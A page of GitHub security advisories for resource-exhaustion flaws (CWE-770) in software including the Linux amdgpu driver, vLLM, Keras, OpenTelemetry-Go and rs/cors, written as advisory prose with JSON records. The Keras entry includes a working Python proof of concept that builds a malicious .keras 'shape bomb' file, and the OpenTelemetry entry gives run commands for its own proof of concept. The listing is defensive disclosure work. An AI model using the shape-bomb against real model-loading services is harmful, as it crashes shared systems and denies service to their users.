CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3049 vulnerabilities reference this CWE, most recent first.
GHSA-MGJ5-5F6H-8742
Vulnerability from github – Published: 2026-04-03 18:31 – Updated: 2026-06-01 18:31In the Linux kernel, the following vulnerability has been resolved:
drm/amdgpu: Limit BO list entry count to prevent resource exhaustion
Userspace can pass an arbitrary number of BO list entries via the bo_number field. Although the previous multiplication overflow check prevents out-of-bounds allocation, a large number of entries could still cause excessive memory allocation (up to potentially gigabytes) and unnecessarily long list processing times.
Introduce a hard limit of 128k entries per BO list, which is more than sufficient for any realistic use case (e.g., a single list containing all buffers in a large scene). This prevents memory exhaustion attacks and ensures predictable performance.
Return -EINVAL if the requested entry count exceeds the limit
(cherry picked from commit 688b87d39e0aa8135105b40dc167d74b5ada5332)
{
"affected": [],
"aliases": [
"CVE-2026-23468"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-03T16:16:34Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Limit BO list entry count to prevent resource exhaustion\n\nUserspace can pass an arbitrary number of BO list entries via the\nbo_number field. Although the previous multiplication overflow check\nprevents out-of-bounds allocation, a large number of entries could still\ncause excessive memory allocation (up to potentially gigabytes) and\nunnecessarily long list processing times.\n\nIntroduce a hard limit of 128k entries per BO list, which is more than\nsufficient for any realistic use case (e.g., a single list containing all\nbuffers in a large scene). This prevents memory exhaustion attacks and\nensures predictable performance.\n\nReturn -EINVAL if the requested entry count exceeds the limit\n\n(cherry picked from commit 688b87d39e0aa8135105b40dc167d74b5ada5332)",
"id": "GHSA-mgj5-5f6h-8742",
"modified": "2026-06-01T18:31:23Z",
"published": "2026-04-03T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23468"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2723e6851309531ce61aed74e93a0cd268cc862a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/5ce4a38e6c2488949e373d5066303f9c128db614"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6270b1a5dab94665d7adce3dc78bc9066ed28bdd"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c833d6c7199c5b5fca9ec95593acd539ec9c171c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e620378aab78d415bd8a15a2f91c145906520288"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f462624a6e4b5f1ec2664c2c53e408b2f4fb53e9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MGQX-FPCP-97H4
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:42In ImageMagick 7.0.6-1, a memory exhaustion vulnerability was found in the function ReadPCXImage in coders/pcx.c, which allows attackers to cause a denial of service.
{
"affected": [],
"aliases": [
"CVE-2017-12432"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-04T10:29:00Z",
"severity": "HIGH"
},
"details": "In ImageMagick 7.0.6-1, a memory exhaustion vulnerability was found in the function ReadPCXImage in coders/pcx.c, which allows attackers to cause a denial of service.",
"id": "GHSA-mgqx-fpcp-97h4",
"modified": "2025-04-20T03:42:03Z",
"published": "2022-05-13T01:42:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12432"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/536"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3681-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-4019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MGRM-FGJV-MHV8
Vulnerability from github – Published: 2025-03-19 15:52 – Updated: 2026-06-08 19:51Impact
The outlines library is one of the backends used by vLLM to support structured output (a.k.a. guided decoding). Outlines provides an optional cache for its compiled grammars on the local filesystem. This cache has been on by default in vLLM. Outlines is also available by default through the OpenAI compatible API server.
The affected code in vLLM is vllm/model_executor/guided_decoding/outlines_logits_processors.py, which unconditionally uses the cache from outlines. vLLM should have this off by default and allow administrators to opt-in due to the potential for abuse.
A malicious user can send a stream of very short decoding requests with unique schemas, resulting in an addition to the cache for each request. This can result in a Denial of Service if the filesystem runs out of space.
Note that even if vLLM was configured to use a different backend by default, it is still possible to choose outlines on a per-request basis using the guided_decoding_backend key of the extra_body field of the request.
This issue applies to the V0 engine only. The V1 engine is not affected.
Patches
- https://github.com/vllm-project/vllm/pull/14837
The fix is to disable this cache by default since it does not provide an option to limit its size. If you want to use this cache anyway, you may set the VLLM_V0_USE_OUTLINES_CACHE environment variable to 1.
Workarounds
There is no way to workaround this issue in existing versions of vLLM other than preventing untrusted access to the OpenAI compatible API server.
References
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vllm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29770"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-19T15:52:26Z",
"nvd_published_at": "2025-03-19T16:15:31Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe [outlines](https://dottxt-ai.github.io/outlines/latest/) library is one of the backends used by vLLM to support structured output (a.k.a. guided decoding). Outlines provides an optional cache for its compiled grammars on the local filesystem. This cache has been on by default in vLLM. Outlines is also available by default through the OpenAI compatible API server.\n\nThe affected code in vLLM is [vllm/model_executor/guided_decoding/outlines_logits_processors.py](https://github.com/vllm-project/vllm/blob/53be4a863486d02bd96a59c674bbec23eec508f6/vllm/model_executor/guided_decoding/outlines_logits_processors.py), which unconditionally uses the cache from outlines. vLLM should have this off by default and allow administrators to opt-in due to the potential for abuse.\n\nA malicious user can send a stream of very short decoding requests with unique schemas, resulting in an addition to the cache for each request. This can result in a Denial of Service if the filesystem runs out of space.\n\nNote that even if vLLM was configured to use a different backend by default, it is still possible to choose outlines on a per-request basis using the `guided_decoding_backend` key of the `extra_body` field of the request.\n\nThis issue applies to the V0 engine only. The V1 engine is not affected.\n\n### Patches\n\n* https://github.com/vllm-project/vllm/pull/14837\n\nThe fix is to disable this cache by default since it does not provide an option to limit its size. If you want to use this cache anyway, you may set the `VLLM_V0_USE_OUTLINES_CACHE` environment variable to `1`.\n\n### Workarounds\n\nThere is no way to workaround this issue in existing versions of vLLM other than preventing untrusted access to the OpenAI compatible API server.\n\n### References",
"id": "GHSA-mgrm-fgjv-mhv8",
"modified": "2026-06-08T19:51:22Z",
"published": "2025-03-19T15:52:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-mgrm-fgjv-mhv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29770"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/pull/14837"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-223.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vllm-project/vllm"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/blob/53be4a863486d02bd96a59c674bbec23eec508f6/vllm/model_executor/guided_decoding/outlines_logits_processors.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vLLM denial of service via outlines unbounded cache on disk"
}
GHSA-MGX6-5CF9-RR43
Vulnerability from github – Published: 2026-05-06 23:09 – Updated: 2026-06-08 18:34Summary
Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading,
Keras executes:
python
result[key] = value[()] # loads entire dataset into memory
value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.
Proof of Concept
// PoC.py
import zipfile
import io
import h5py
import numpy as np
from keras.saving import KerasFileEditor
# Create a malicious .keras model containing a massive HDF5 shape bomb
def create_malicious_keras(path="bomb.keras"):
hdf5_bytes = io.BytesIO()
# Create an HDF5 file with a huge declared dataset shape
with h5py.File(hdf5_bytes, "w") as f:
d = f.create_dataset(
"payload",
shape=(50_000_000, 50_000_000), # Extremely large shape → petabytes on load
dtype="float32",
compression="gzip",
compression_opts=9
)
# Write minimal data so the file stays very small
d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)
hdf5_bytes.seek(0)
# Build a valid .keras archive structure
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("config.json", "{}")
z.writestr("metadata.json", "{}")
z.writestr("model.weights.h5", hdf5_bytes.getvalue())
# Generate the malicious model file
create_malicious_keras()
# Trigger the DoS vulnerability when Keras loads the malicious file
KerasFileEditor("bomb.keras")
Expected Result
numpy._core._exceptions._ArrayMemoryError:
Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000)
This crash occurs before any actual model processing, confirming the Denial-of-Service impact.
Impact
This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.
The attacker can:
- Cause immediate memory exhaustion (8+ PiB allocation attempts)
- Crash TensorFlow / Python interpreter
- Kill Jupyter kernels
- Break automated model-upload pipelines
- Crash MLOps servers that process user models
- Deny service to shared GPU/CPU environments
If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.
PoC Video (Google Drive): PoC Video
Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services
Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests. With larger payloads, this would instantly exhaust resources in real production pipelines.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.0"
},
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.12.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "3.13.0"
},
{
"fixed": "3.13.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-0897"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:09:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nKeras\u2019s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100\u2013400 KB) because HDF5 with gzip compression stores minimal data. During model loading, \nKeras executes:\n`python\nresult[key] = value[()] # loads entire dataset into memory`\nvalue[()] instructs h5py to allocate RAM proportional to the dataset\u2019s declared shape \u2013 in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.\n### Proof of Concept\n```\n// PoC.py\nimport zipfile\nimport io\nimport h5py\nimport numpy as np\nfrom keras.saving import KerasFileEditor\n\n# Create a malicious .keras model containing a massive HDF5 shape bomb\ndef create_malicious_keras(path=\"bomb.keras\"):\n hdf5_bytes = io.BytesIO()\n\n # Create an HDF5 file with a huge declared dataset shape\n with h5py.File(hdf5_bytes, \"w\") as f:\n d = f.create_dataset(\n \"payload\",\n shape=(50_000_000, 50_000_000), # Extremely large shape \u2192 petabytes on load\n dtype=\"float32\",\n compression=\"gzip\",\n compression_opts=9\n )\n # Write minimal data so the file stays very small\n d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)\n\n hdf5_bytes.seek(0)\n\n # Build a valid .keras archive structure\n with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n z.writestr(\"config.json\", \"{}\")\n z.writestr(\"metadata.json\", \"{}\")\n z.writestr(\"model.weights.h5\", hdf5_bytes.getvalue())\n\n# Generate the malicious model file\ncreate_malicious_keras()\n\n# Trigger the DoS vulnerability when Keras loads the malicious file\nKerasFileEditor(\"bomb.keras\")\n```\n### Expected Result\n```\nnumpy._core._exceptions._ArrayMemoryError:\nUnable to allocate 8.88 PiB for an array with shape (50000000, 50000000)\n```\nThis crash occurs before any actual model processing, confirming the Denial-of-Service impact.\n### Impact\nThis vulnerability allows an attacker to crash any system that loads a malicious `.keras` model file.\n\nThe attacker can:\n\n- Cause immediate memory exhaustion (8+ PiB allocation attempts)\n- Crash TensorFlow / Python interpreter\n- Kill Jupyter kernels\n- Break automated model-upload pipelines\n- Crash MLOps servers that process user models\n- Deny service to shared GPU/CPU environments\n\nIf a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector.\nAdditional PoC Evidence (Video Demonstration)\nAttached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.\n\nPoC Video (Google Drive):\n[PoC Video](https://drive.google.com/file/d/1XAj57epTBWpj93GwHprHvb14WS9wpl5m/view?usp=drivesdk)\n\nFinding: Critical memory-exhaustion flaw triggered by crafted .keras model files\nVector: Malicious metadata causing extreme tensor shape inflation\nImpact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process\nAttack Scenario: Remote DoS on ML model processing pipelines and cloud inference services\n\nDemonstration:\nThe PoC video shows the crash occurring on Google Colab.\nLoading the malicious model consumed all system RAM and repeatedly terminated the runtime.\nSeverity is high enough that the compute quota dropped from 83 hours \u2192 4 hours after only a few tests.\nWith larger payloads, this would instantly exhaust resources in real production pipelines.",
"id": "GHSA-mgx6-5cf9-rr43",
"modified": "2026-06-08T18:34:10Z",
"published": "2026-05-06T23:09:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/security/advisories/GHSA-mgx6-5cf9-rr43"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0897"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/pull/21880"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/pull/22081"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/commit/f704c887bf459b42769bfc8a9182f838009afddb"
},
{
"type": "PACKAGE",
"url": "https://github.com/keras-team/keras"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2026-73.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor)"
}
GHSA-MH2Q-Q3FH-2475
Vulnerability from github – Published: 2026-04-07 20:12 – Updated: 2026-04-24 20:04multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
- repository: https://github.com/open-telemetry/opentelemetry-go
- pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage)
attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical:
per_req_alloc_bytes=10315458andp95_ms=7 - control:
per_req_alloc_bytes=133429andp95_ms=0
proof of concept
canonical:
mkdir -p poc
unzip poc.zip -d poc
cd poc
make test
output (excerpt):
[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage
[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165
control:
cd poc
make control
control output (excerpt):
[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget.
actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for per_req_alloc_bytes and per_req_allocs, and p95_ms stays below 2ms.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.40.0"
},
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/otel"
},
"ranges": [
{
"events": [
{
"introduced": "1.36.0"
},
{
"fixed": "1.41.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29181"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T20:12:57Z",
"nvd_published_at": "2026-04-07T21:17:16Z",
"severity": "HIGH"
},
"details": "multi-value `baggage:` header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many `baggage:` header lines, even when each individual value is within the 8192-byte per-value parse limit.\n\n## severity\n\nHIGH (availability / remote request amplification)\n\n## relevant links\n\n- repository: https://github.com/open-telemetry/opentelemetry-go\n- pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58\n\n## vulnerability details\n\n**pins:** open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a\n**as-of:** 2026-02-04\n**policy:** direct (no program scope provided)\n\n**callsite:** propagation/baggage.go:58 (`extractMultiBaggage`)\n**attacker control:** inbound HTTP request headers (many `baggage` field-values) \u2192 `propagation.HeaderCarrier.Values(\"baggage\")` \u2192 repeated `baggage.Parse` + member aggregation\n\n### root cause\n\n`extractMultiBaggage` iterates over all `baggage` header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).\n\n### impact\n\nin a default `net/http` configuration (max header bytes 1mb), a single request with many `baggage:` header field-values can cause large per-request allocations and increased latency.\n\nexample from the attached PoC harness (darwin/arm64; 80 values; 40 requests):\n\n- canonical: `per_req_alloc_bytes=10315458` and `p95_ms=7`\n- control: `per_req_alloc_bytes=133429` and `p95_ms=0`\n\n## proof of concept\n\ncanonical:\n\n```bash\nmkdir -p poc\nunzip poc.zip -d poc\ncd poc\nmake test\n```\n\noutput (excerpt):\n\n```\n[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage\n[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165\n```\n\ncontrol:\n\n```bash\ncd poc\nmake control\n```\n\ncontrol output (excerpt):\n\n```\n[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480\n```\n\n**expected:** multiple `baggage` header field-values should be semantically equivalent to a single comma-joined `baggage` value and should not multiply parsing/alloc work within the effective header byte budget.\n**actual:** multiple `baggage` header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.\n\n## fix recommendation\n\navoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).\n\n**fix accepted when:** under the default PoC harness settings, canonical stays within 2x of control for `per_req_alloc_bytes` and `per_req_allocs`, and `p95_ms` stays below 2ms.\n\n\n[poc.zip](https://github.com/user-attachments/files/25079945/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25079946/PR_DESCRIPTION.md)",
"id": "GHSA-mh2q-q3fh-2475",
"modified": "2026-04-24T20:04:24Z",
"published": "2026-04-07T20:12:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29181"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/pull/7880"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/commit/aa1894e09e3fe66860c7885cb40f98901b35277f"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-go"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/v1.41.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry-Go: multi-value `baggage` header extraction causes excessive allocations (remote dos amplification)"
}
GHSA-MH55-GQVF-XFWM
Vulnerability from github – Published: 2024-07-05 19:42 – Updated: 2025-08-06 22:10Middleware causes a prohibitive amount of heap allocations when processing malicious preflight requests that include a Access-Control-Request-Headers (ACRH) header whose value contains many commas. This behavior can be abused by attackers to produce undue load on the middleware/server as an attempt to cause a denial of service.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rs/cors"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47908"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-05T19:42:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Middleware causes a prohibitive amount of heap allocations when processing malicious preflight requests that include a Access-Control-Request-Headers (ACRH) header whose value contains many commas. This behavior can be abused by attackers to produce undue load on the middleware/server as an attempt to cause a denial of service.",
"id": "GHSA-mh55-gqvf-xfwm",
"modified": "2025-08-06T22:10:52Z",
"published": "2024-07-05T19:42:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47908"
},
{
"type": "WEB",
"url": "https://github.com/rs/cors/issues/170"
},
{
"type": "WEB",
"url": "https://github.com/rs/cors/pull/171"
},
{
"type": "WEB",
"url": "https://github.com/rs/cors/commit/4c32059b2756926619f6bf70281b91be7b5dddb2"
},
{
"type": "PACKAGE",
"url": "https://github.com/rs/cors"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2883"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Denial of service via malicious preflight requests in github.com/rs/cors"
}
GHSA-MH6H-F25P-98F8
Vulnerability from github – Published: 2021-08-25 20:44 – Updated: 2023-06-13 20:32Affected versions of this crate called Vec::reserve() on user-supplied input. This allows an attacker to cause an Out of Memory condition while calling the vulnerable method on untrusted data.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-15544"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-19T21:23:35Z",
"nvd_published_at": "2019-08-26T18:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of this crate called Vec::reserve() on user-supplied input. This allows an attacker to cause an Out of Memory condition while calling the vulnerable method on untrusted data.",
"id": "GHSA-mh6h-f25p-98f8",
"modified": "2023-06-13T20:32:32Z",
"published": "2021-08-25T20:44:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15544"
},
{
"type": "WEB",
"url": "https://github.com/stepancheg/rust-protobuf/issues/411"
},
{
"type": "PACKAGE",
"url": "https://github.com/stepancheg/rust-protobuf"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r00097d0b5b6164ea428554007121d5dc1f88ba2af7b9e977a10572cd@%3Cdev.hbase.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4ef574a5621b0e670a3ce641e9922543e34f22bf4c9ee9584aa67fcf@%3Cissues.hbase.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7fed8dd9bee494094e7011cf3c2ab75bd8754ea314c6734688c42932@%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd64381fb8f92d640c1975dc50dcdf1b8512e02a2a7b20292d3565cae@%3Cissues.hbase.apache.org%3E"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2019-0003.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled memory consumption in protobuf"
}
GHSA-MH86-QHJH-FVR5
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10In Contiki 3.0, a Telnet server that silently quits (before disconnection with clients) leads to connected clients entering an infinite loop and waiting forever, which may cause excessive CPU consumption.
{
"affected": [],
"aliases": [
"CVE-2021-38387"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-10T19:15:00Z",
"severity": "HIGH"
},
"details": "In Contiki 3.0, a Telnet server that silently quits (before disconnection with clients) leads to connected clients entering an infinite loop and waiting forever, which may cause excessive CPU consumption.",
"id": "GHSA-mh86-qhjh-fvr5",
"modified": "2022-05-24T19:10:31Z",
"published": "2022-05-24T19:10:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38387"
},
{
"type": "WEB",
"url": "https://github.com/contiki-os/contiki/issues/2688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MHFP-J5XF-FVVR
Vulnerability from github – Published: 2022-06-28 00:00 – Updated: 2022-07-08 00:00In Bento4 1.6.0-638, there is an allocator is out of memory in the function AP4_Array::EnsureCapacity in Ap4Array.h:172, as demonstrated by GPAC. This can cause a denial of service (DOS).
{
"affected": [],
"aliases": [
"CVE-2021-40941"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-27T18:15:00Z",
"severity": "HIGH"
},
"details": "In Bento4 1.6.0-638, there is an allocator is out of memory in the function AP4_Array\u003cAP4_TrunAtom::Entry\u003e::EnsureCapacity in Ap4Array.h:172, as demonstrated by GPAC. This can cause a denial of service (DOS).",
"id": "GHSA-mhfp-j5xf-fvvr",
"modified": "2022-07-08T00:00:48Z",
"published": "2022-06-28T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40941"
},
{
"type": "WEB",
"url": "https://github.com/axiomatic-systems/Bento4/issues/644"
}
],
